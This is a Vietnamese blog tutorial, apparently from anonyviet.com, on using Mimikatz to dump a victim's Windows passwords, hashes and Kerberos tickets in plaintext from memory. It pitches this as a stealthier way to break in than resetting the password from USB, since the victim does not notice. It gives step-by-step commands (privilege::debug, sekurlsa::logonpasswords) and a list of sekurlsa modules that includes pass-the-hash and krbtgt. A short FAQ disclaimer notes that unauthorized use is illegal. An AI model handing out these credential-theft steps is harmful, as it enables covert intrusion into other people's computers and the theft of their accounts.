Hiện nay có khá nhiều cách để xâm nhập Windows khi có đặt Password bằng cách boot bằng USB và xóa luôn Password hiện tại. Như vậy nạn nhân rất dễ phát hiện ra là Password đã bị người nào đó xóa đi. Với tool Mimikatz bạn sẽ dễ dàng cho Windows hiển thị luôn Password WIndows của nạn nhân. Từ giờ trở đi, bạn chỉ cần đăng nhập bằng Password đó để truy cập vào Windows dễ dàng.
Dùng Mimikatz để xem Password Windows chưa bị mã hóa
Mimikatz là công cụ giúp khai thác lỗ hổng bằng cách hiển thị Password Windows, hash, PIN code và kerberos tickets dạng rõ (PlainText) bằng cách trích xuất tự bộ nhớ RAM. mimikatz còn có thể giúp bạn xem pass-the-hash, pass-the-ticket hoặc được xây dựng từ Golden tickets.
Các virus thường được đính kèm công cụ này để có thể lấy hack Password Windows, các thông tin bảo mật, nhằm phục vụ quá trình điều khiển, kiểm soát máy tính của nạn nhânmột cách mạnh mẽ nhất.
Để xem được Password Windows dạng chữ tường minh (plaintext), không bị mã hóa, bạn thực hiện như sau:
Bước 1: Download công cụ Mimikatz sẽ giúp trích xuất Password Windows.
(Password giải nén: anonyviet.com)
Bước 2: Giải nén file và truy cập đến:
- Windows 32 bit: vào thư mục mimikatz_trunk\Win32
- Windows 64 bit: vào thư mục: mimikatz_trunk\x64
Bước 3: Mở file mimikatz.exe bằng quyền Administrator
Bước 4: Trên giao diện của minikatz gõ lệnh privilege::debug để bắt đầu chế độ debug Windows.
Bước 5: Tiếp theo chạy lệnh sekurlsa::logonpasswords để lấy password của Windows. Password sẽ hiển thị dạng Plaintext.
Ngoài ra bạn có thể kết hợp sekurlsa:: với các lệnh dưới đây để hiển thị thông tin đăng nhập tùy vào chế độ bảo mật.
msv – Liệt kê thông tin đăng nhập LM & NTLM
wdigest- Liệt kê thông tin đăng nhập WDigest
kerberos – Liệt kê thông tin đăng nhập Kerberos
tspkg – Liệt kê thông tin đăng nhập TsPkg
livessp – Liệt kê thông tin xác thực LiveSSP
ssp – Liệt kê thông tin đăng nhập SSP
logonPasswords – Liệt kê tất cả thông tin đăng nhập của nhà cung cấp
process – Chuyển (hoặc reinit) sang bối cảnh quá trình LSASS
minidump- Chuyển (hoặc reinit) sang bối cảnh minidump LSASS
pth – Pass-the-hash
krbtgt – krbtgt!
dpapisystem – DPAPI_SYSTEM secret
trust – Antisocial
backupkeys – Preferred Backup Master keys
tickets – List kerberos tickets
ekey – Liệt kê các khóa mã hóa kerberos
dpapi – Liệt kê các MasterKey được lưu trong bộ nhớ cache
credman – List Credentials Manager
Tham khảo whitehat.vn
Câu hỏi thường gặp
Mimikatz là gì và nó hoạt động như thế nào?
Mimikatz là một công cụ khai thác lỗ hổng bảo mật, cho phép truy xuất mật khẩu Windows, hash, PIN và vé Kerberos từ bộ nhớ RAM. Nó hoạt động bằng cách trích xuất thông tin này dưới dạng văn bản rõ, không được mã hóa.
Tôi có thể sử dụng Mimikatz để làm gì?
Mimikatz có thể được sử dụng để hiển thị mật khẩu Windows dạng văn bản rõ, giúp truy cập vào hệ thống dễ dàng hơn. Tuy nhiên, việc sử dụng công cụ này cho mục đích bất hợp pháp là vi phạm pháp luật.
Việc sử dụng Mimikatz có an toàn không?
Sử dụng Mimikatz tiềm ẩn nhiều rủi ro bảo mật. Việc sử dụng công cụ này cho mục đích trái phép là bất hợp pháp và có thể dẫn đến các hậu quả nghiêm trọng. Chỉ nên sử dụng Mimikatz trong môi trường được kiểm soát và có mục đích bảo mật hợp pháp, với sự cho phép của chủ sở hữu hệ thống.
Có cách nào coi pass bios ko ad